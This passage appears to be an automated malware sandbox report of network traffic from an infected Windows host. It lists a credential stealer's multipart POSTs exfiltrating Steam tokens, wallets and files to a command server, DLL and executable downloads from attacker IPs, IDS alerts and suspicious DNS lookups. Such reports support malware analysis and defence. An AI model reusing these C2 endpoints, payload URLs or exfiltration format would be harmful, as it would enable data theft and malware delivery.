3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 2d 2d 0d 0a Data Ascii: ------FIEHIIIJDAAAAAAKECBFContent-Disposition: form-data; name="token"2cbe072102dbade6265cb2bb9cd861f25e6d19dc2e73e919052c13a39b807224ec86d282------FIEHIIIJDAAAAAAKECBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FIEHIIIJDAAAAAAKECBFContent-Disposition: form-data; name="file"------FIEHIIIJDAAAAAAKECBF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEBGCFIEHCFIDGCAAFBHost: 185.215.113.115Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 47 43 46 49 45 48 43 46 49 44 47 43 41 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 63 62 65 30 37 32 31 30 32 64 62 61 64 65 36 32 36 35 63 62 32 62 62 39 63 64 38 36 31 66 32 35 65 36 64 31 39 64 63 32 65 37 33 65 39 31 39 30 35 32 63 31 33 61 33 39 62 38 30 37 32 32 34 65 63 38 36 64 32 38 32 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 43 46 49 45 48 43 46 49 44 47 43 41 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 43 46 49 45 48 43 46 49 44 47 43 41 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 43 46 49 45 48 43 46 49 44 47 43 41 41 46 42 2d 2d 0d 0a Data Ascii: ------BAEBGCFIEHCFIDGCAAFBContent-Disposition: form-data; name="token"2cbe072102dbade6265cb2bb9cd861f25e6d19dc2e73e919052c13a39b807224ec86d282------BAEBGCFIEHCFIDGCAAFBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BAEBGCFIEHCFIDGCAAFBContent-Disposition: form-data; name="file"------BAEBGCFIEHCFIDGCAAFB--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.115Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.115Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.115Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.115Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.115Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.115Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBKKKKKFBGDGDHIDBGHHost: 185.215.113.115Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGDHCGCBKFHJKEBKFBFHost: 185.215.113.115Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 44 48 43 47 43 42 4b 46 48 4a 4b 45 42 4b 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 63 62 65 30 37 32 31 30 32 64 62 61 64 65 36 32 36 35 63 62 32 62 62 39 63 64 38 36 31 66 32 35 65 36 64 31 39 64 63 32 65 37 33 65 39 31 39 30 35 32 63 31 33 61 33 39 62 38 30 37 32 32 34 65 63 38 36 64 32 38 32 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 48 43 47 43 42 4b 46 48 4a 4b 45 42 4b 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 48 43 47 43 42 4b 46 48 4a 4b 45 42 4b 46 42 46 2d 2d 0d 0a Data Ascii: ------HDGDHCGCBKFHJKEBKFBFContent-Disposition: form-data; name="token"2cbe072102dbade6265cb2bb9cd861f25e6d19dc2e73e919052c13a39b807224ec86d282------HDGDHCGCBKFHJKEBKFBFContent-Disposition: form-data; name="message"wallets------HDGDHCGCBKFHJKEBKFBF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDHCGHDHIDHCBGCBGCAEHost: 185.215.113.115Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 63 62 65 30 37 32 31 30 32 64 62 61 64 65 36 32 36 35 63 62 32 62 62 39 63 64 38 36 31 66 32 35 65 36 64 31 39 64 63 32 65 37 33 65 39 31 39 30 35 32 63 31 33 61 33 39 62 38 30 37 32 32 34 65 63 38 36 64 32 38 32 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 2d 2d 0d 0a Data Ascii: ------HDHCGHDHIDHCBGCBGCAEContent-Disposition: form-data; name="token"2cbe072102dbade6265cb2bb9cd861f25e6d19dc2e73e919052c13a39b807224ec86d282------HDHCGHDHIDHCBGCBGCAEContent-Disposition: form-data; name="message"files------HDHCGHDHIDHCBGCBGCAE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEBFBGDGHIIJJKEBKJDBHost: 185.215.113.115Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 46 42 47 44 47 48 49 49 4a 4a 4b 45 42 4b 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 63 62 65 30 37 32 31 30 32 64 62 61 64 65 36 32 36 35 63 62 32 62 62 39 63 64 38 36 31 66 32 35 65 36 64 31 39 64 63 32 65 37 33 65 39 31 39 30 35 32 63 31 33 61 33 39 62 38 30 37 32 32 34 65 63 38 36 64 32 38 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 46 42 47 44 47 48 49 49 4a 4a 4b 45 42 4b 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 46 42 47 44 47 48 49 49 4a 4a 4b 45 42 4b 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 46 42 47 44 47 48 49 49 4a 4a 4b 45 42 4b 4a 44 42 2d 2d 0d 0a Data Ascii: ------KEBFBGDGHIIJJKEBKJDBContent-Disposition: form-data; name="token"2cbe072102dbade6265cb2bb9cd861f25e6d19dc2e73e919052c13a39b807224ec86d282------KEBFBGDGHIIJJKEBKJDBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KEBFBGDGHIIJJKEBKJDBContent-Disposition: form-data; name="file"------KEBFBGDGHIIJJKEBKJDB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDHCGHDHIDHCBGCBGCAEHost: 185.215.113.115Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 63 62 65 30 37 32 31 30 32 64 62 61 64 65 36 32 36 35 63 62 32 62 62 39 63 64 38 36 31 66 32 35 65 36 64 31 39 64 63 32 65 37 33 65 39 31 39 30 35 32 63 31 33 61 33 39 62 38 30 37 32 32 34 65 63 38 36 64 32 38 32 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 2d 2d 0d 0a Data Ascii: ------HDHCGHDHIDHCBGCBGCAEContent-Disposition: form-data; name="token"2cbe072102dbade6265cb2bb9cd861f25e6d19dc2e73e919052c13a39b807224ec86d282------HDHCGHDHIDHCBGCBGCAEContent-Disposition: form-data; name="message"ybncbhylepme------HDHCGHDHIDHCBGCBGCAE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEBFBGDGHIIJJKEBKJDBHost: 185.215.113.115Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 46 42 47 44 47 48 49 49 4a 4a 4b 45 42 4b 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 63 62 65 30 37 32 31 30 32 64 62 61 64 65 36 32 36 35 63 62 32 62 62 39 63 64 38 36 31 66 32 35 65 36 64 31 39 64 63 32 65 37 33 65 39 31 39 30 35 32 63 31 33 61 33 39 62 38 30 37 32 32 34 65 63 38 36 64 32 38 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 46 42 47 44 47 48 49 49 4a 4a 4b 45 42 4b 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 46 42 47 44 47 48 49 49 4a 4a 4b 45 42 4b 4a 44 42 2d 2d 0d 0a Data Ascii: ------KEBFBGDGHIIJJKEBKJDBContent-Disposition: form-data; name="token"2cbe072102dbade6265cb2bb9cd861f25e6d19dc2e73e919052c13a39b807224ec86d282------KEBFBGDGHIIJJKEBKJDBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KEBFBGDGHIIJJKEBKJDB--
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 45 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939E
Source: global traffic	HTTP traffic detected: GET /files/7934537497/0iMSdYX.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 32Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 39 39 36 30 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=10009960101&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/815829564/RHPLumH.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 32Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 30 34 38 30 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=10010480101&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/6416878235/Yg1HwMX.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 32Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 34 33 38 30 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=10014380101&unit=246122658369

Source: Joe Sandbox View	IP Address: 176.113.115.7 176.113.115.7
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	ASN Name: SELECTELRU SELECTELRU
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49741 -> 104.21.27.210:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 104.21.27.210:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 104.21.27.210:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49744 -> 104.21.27.210:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49742 -> 104.21.27.210:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49743 -> 104.21.27.210:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 104.21.27.210:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 104.21.27.210:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49837 -> 185.215.113.115:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49754 -> 185.215.113.115:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50041 -> 176.113.115.7:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50043 -> 176.113.115.7:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50045 -> 176.113.115.7:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50050 -> 104.21.27.210:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50046 -> 104.21.27.210:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50048 -> 104.21.27.210:443

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.18
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.18
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7

Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe

Code function: 4_2_00752710 recv,recv,recv,recv,

4_2_00752710

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.l2ZUC8FxqV8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo9xAAkaXO7Lqf7-9uTpZLtrkpWaXQ/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /oljasing/asdasdasdas/raw/e8b80fd8744136bf0cfef5b87afa55d4f9f0a0e5/teasdasd.txt HTTP/1.1Accept: /User-Agent: Chrome/95.0.4638.54Host: bitbucket.org
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.115Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.115Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.115Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.115Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.115Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.115Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.115Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.115Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/7934537497/0iMSdYX.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: GET /files/815829564/RHPLumH.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: GET /files/6416878235/Yg1HwMX.exe HTTP/1.1Host: 176.113.115.7

Source: global traffic	DNS traffic detected: DNS query: pirtyoffensiz.bet
Source: global traffic	DNS traffic detected: DNS query: uncertainyelemz.bet
Source: global traffic	DNS traffic detected: DNS query: hobbyedsmoker.live
Source: global traffic	DNS traffic detected: DNS query: presentymusse.world
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: bitbucket.org
